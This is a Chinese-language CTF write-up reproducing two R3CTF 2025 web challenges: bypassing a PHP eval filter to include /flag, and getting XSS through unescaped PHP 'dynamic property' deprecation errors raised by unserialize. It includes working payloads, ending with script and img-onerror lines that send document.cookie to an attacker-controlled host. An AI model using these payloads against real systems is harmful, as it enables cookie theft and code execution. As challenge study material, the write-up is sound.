2025R3CTF复现
Evalgelist
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
<?php
if (isset($_GET['input'])) {
echo '<div class="output">';
$filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);
$cmd = $filtered . '();';
echo '<strong>After Security Filtering:</strong> <span class="filtered">' . htmlspecialchars($cmd) . '</span>' . "\n\n";
echo '<strong>Execution Result:</strong>' . "\n";
echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px;">';
try {
ob_start();
eval($cmd);
$result = ob_get_clean();
if (!empty($result)) {
echo '<span class="success">✅ Function executed successfully!</span>' . "\n";
echo htmlspecialchars($result);
} else {
echo '<span class="success">✅ Function executed (no output)</span>';
}
} catch (Error $e) {
echo '<span class="error">❌ Error: ' . htmlspecialchars($e->getMessage()) . '</span>';
} catch (Exception $e) {
echo '<span class="error">❌ Exception: ' . htmlspecialchars($e->getMessage()) . '</span>';
}
echo '</div>';
echo '</div>';
}
?>
|
get传input,过滤了这些
1
2
|
$filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);
$cmd = $filtered . '();';
|
分号没过滤,可以拼接语句,把无参函数放在末尾,而且没禁用include,看docker-entrypoint.sh
flag在根目录,而且就叫flag
现在就是要获取/
,发现某些常量可以用来拼字符串,比如 PHP_BINARY
可以拿到/
,a
和 l
,剩下的f和g可以直接裸字符。因为PHP_BINARY
返回当前 PHP 解释器的完整绝对路径,web目录也是/var/www/html
,所以可以直接获取这些字符
payload
1
|
include PHP_BINARY[0].f.PHP_BINARY[8].PHP_BINARY[5].g;getcwd
|
后面这个函数只要是无参就行
Silent Profit
这题参考两个佬的wp:
index.php
1
2
3
|
<?php
show_source(__FILE__);
unserialize($_GET['data']);
|
bot.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
const express = require('express');
const puppeteer = require('puppeteer');
const app = express();
app.use(express.urlencoded({ extended: false }));
const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;
app.post('/report', async (req, res) => {
const { url } = req.body;
if (!url || !url.startsWith('http://challenge/')) {
return res.status(400).send('Invalid URL');
}
try {
console.log(`[+] Visiting: ${url}`);
const browser = await puppeteer.launch({
headless: 'new',
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
]
});
await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });
const page = await browser.newPage();
await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });
await page.waitForNetworkIdle({timeout: 5000})
await browser.close();
res.send('URL visited by bot!');
} catch (err) {
console.error(`[!] Error visiting URL:`, err);
res.status(500).send('Bot error visiting URL');
}
});
app.get('/', (req, res) => {
res.send(`
<h2>XSS Bot</h2>
<form method="POST" action="/report">
<input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" />
<button type="submit">Submit</button>
</form>
`);
});
app.listen(PORT, () => {
console.log(`XSS bot running at port ${PORT}`);
});
|
就是用data传参打xss,而php代码非常简单,只有反序列化,想到打Error类似的原生类来xss,但是这种打法需要代码有echo来触发内置的toString
,所以显然不行
直接开启index.php那个靶机会有报错

我们直接搜索php unserialize error
关键词,直接找到这篇文章
[PHP RFC: Improve unserialize() error handling]
里面介绍了四种报错
1
2
3
4
5
6
|
unserialize('foo'); // Notice: unserialize(): Error at offset 0 of 3 bytes in php-src/test.php on line 3
unserialize('i:12345678901234567890;'); // Warning: unserialize(): Numerical result out of range in php-src/test.php on line 4
unserialize('E:3:"foo";'); // Warning: unserialize(): Invalid enum name 'foo' (missing colon) in php-src/test.php on line 5
// Notice: unserialize(): Error at offset 0 of 10 bytes in php-src/test.php on line 5
unserialize('E:3:"fo:";'); // Warning: unserialize(): Class 'fo' not found in php-src/test.php on line 7
// Notice: unserialize(): Error at offset 0 of 10 bytes in php-src/test.php on line 7
|
其中
1
2
|
unserialize('E:3:"foo";');
unserialize('E:3:"fo:";');
|
这种类型的报错信息我们是可控的,直接尝试xss
1
|
E:39:"<script>alert(document.domain)</script>";
|
没触发,报错信息如下

curl发现<>
标签被html转义了,在docker-compose.yml
,我们php版本是php:8-apache
去docker官网查看版本[Docker image php:8-apache]
php8.4.10
,直接跟进源码找报错信息Invalid enum name
相关的
1
2
3
4
5
6
7
|
"E:" uiv ":" ["] {
[...]
char *colon_ptr = memchr(str, ':', len);
if (colon_ptr == NULL) {
php_error_docref(NULL, E_WARNING, "Invalid enum name '%.*s' (missing colon)", (int) len, str);
return 0;
}
|
跟进php_error_docref
1
2
3
4
|
PHPAPI ZEND_COLD void php_error_docref(const char *docref, int type, const char *format, ...)
{
php_error_docref_impl(docref, type, format);
}
|
跟进php_error_docref_impl
1
2
3
4
5
6
7
8
|
/* {{{ php_error_docref */
/* Generate an error which links to docref or the php.net documentation if docref is NULL */
#define php_error_docref_impl(docref, type, format) do {\
va_list args; \
va_start(args, format); \
php_verror(docref, "", type, format, args); \
va_end(args); \
} while (0)
|
跟进php_verror
1
2
3
4
5
6
7
8
9
10
11
|
zend_string *buffer = vstrpprintf(0, format, args);
if (PG(html_errors)) {
zend_string *replace_buffer = escape_html(ZSTR_VAL(buffer), ZSTR_LEN(buffer));
zend_string_free(buffer);
if (replace_buffer) {
buffer = replace_buffer;
} else {
buffer = zend_empty_string;
}
|
跟进escape_html
1
2
3
4
5
6
7
8
9
10
11
12
|
static zend_string *escape_html(const char *buffer, size_t buffer_len) {
zend_string *result = php_escape_html_entities_ex(
(const unsigned char *) buffer, buffer_len, 0, ENT_COMPAT,
/* charset_hint */ NULL, /* double_encode */ 1, /* quiet */ 1);
if (!result || ZSTR_LEN(result) == 0) {
/* Retry with substituting invalid chars on fail. */
result = php_escape_html_entities_ex(
(const unsigned char *) buffer, buffer_len, 0, ENT_COMPAT | ENT_HTML_SUBSTITUTE_ERRORS,
/* charset_hint */ NULL, /* double_encode */ 1, /* quiet */ 1);
}
return result;
}
|
所以结论就是php_error_docref
函数最终就是会将输入的字符转义
搜索error
相关函数
- php_error
- php_error_docref
- php_error_docref1
- php_error_docref2
- zend_error
- php_verror
由于前面的基本都跟进过了,我们跟进zend_error
看看,
1
2
3
|
ZEND_API ZEND_COLD void zend_error(int type, const char *format, ...) {
zend_error_impl(type, format);
}
|
同样是不断跟进
1
2
3
4
5
6
7
8
9
|
#define zend_error_impl(type, format) do { \
zend_string *filename; \
uint32_t lineno; \
va_list args; \
get_filename_lineno(type, &filename, &lineno); \
va_start(args, format); \
zend_error_va_list(type, filename, lineno, format, args); \
va_end(args); \
} while (0)
|
1
2
3
4
5
6
7
8
|
static ZEND_COLD void zend_error_va_list(
int orig_type, zend_string *error_filename, uint32_t error_lineno,
const char *format, va_list args)
{
zend_string *message = zend_vstrpprintf(0, format, args);
zend_error_zstr_at(orig_type, error_filename, error_lineno, message);
zend_string_release(message);
}
|
最后得到它的报错信息
1
2
|
zend_error(E_DEPRECATED, "Creation of dynamic property %s::$%s is deprecated",
ZSTR_VAL(obj->ce->name), zend_get_unmangled_property_name(Z_STR_P(&key)));
|
显然它不会进行转义,想办法造成报错,然后填参数就能xss
根据这篇[this PHP.Watch post]
PHP类可以动态设置和获取未在类中声明的类属性。然而,从PHP 8.2版及以上版本开始,不建议将值设置为未声明的类属性。应该说是直接废弃了这种办法,如果我们获取就会抛出报错
文章给了一个demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
class User {
private int $uid;
}
$user = new User();
$user->name = 'Foo';
或者
class User {
public function __construct() {
$this->name = 'test';
}
}
new User();
|
直接抛出报错name,刚好就是我们想要的报错类型
1
|
Deprecated: Creation of dynamic property User::$name is deprecated in ... on line ...
|
我们起一个服务测试一下
1
2
3
4
5
6
|
<?php
show_source(__FILE__);
class foo{
}
unserialize($_GET['data']);
|
然后传入序列化字符串O:3:"foo":1:{s:3:"bar";}

成功报错,现在只需要寻找一个允许反序列化的类,按照上面的办法本地来试试xss
1
2
3
4
|
<?php
show_source(__FILE__);
var_dump(get_declared_classes());
unserialize($_GET['data']);
|
get_declared_classes
获取当前声明的类,版本一定要对8.4
这里跟着两个佬的wp,他们分别用SplFixedArray
和PhpToken
实际上你只需要找一个可能允许反序列化的类就行了
SplFixedArray
内置了一个wakeup
方法
1
|
O:13:"SplFixedArray":1:{s:3:"foo";N;}
|
测试一下发现其他报错消失了,而且报错信息可控了
直接xss
1
|
O:13:"SplFixedArray":1:{s:39:"<script>alert(document.domain)</script>";N;}
|

如果是用别的也一样
1
|
O:8:"PhpToken":1:{s:39:"<script>alert(document.domain)</script>";N;}
|
接下来就是正常流程了,vps起个监听端口,然后弹cookie就行了
1
|
<script>fetch(`//ip:port/?${document.cookie}`)</script>
|
用PhpToken打的payload
1
|
http://challenge/?data=O:8:"PhpToken":1:{s:71:"<img src= x onerror=fetch(`//192.168.80.128/?flag=${document.cookie}`)>";}
|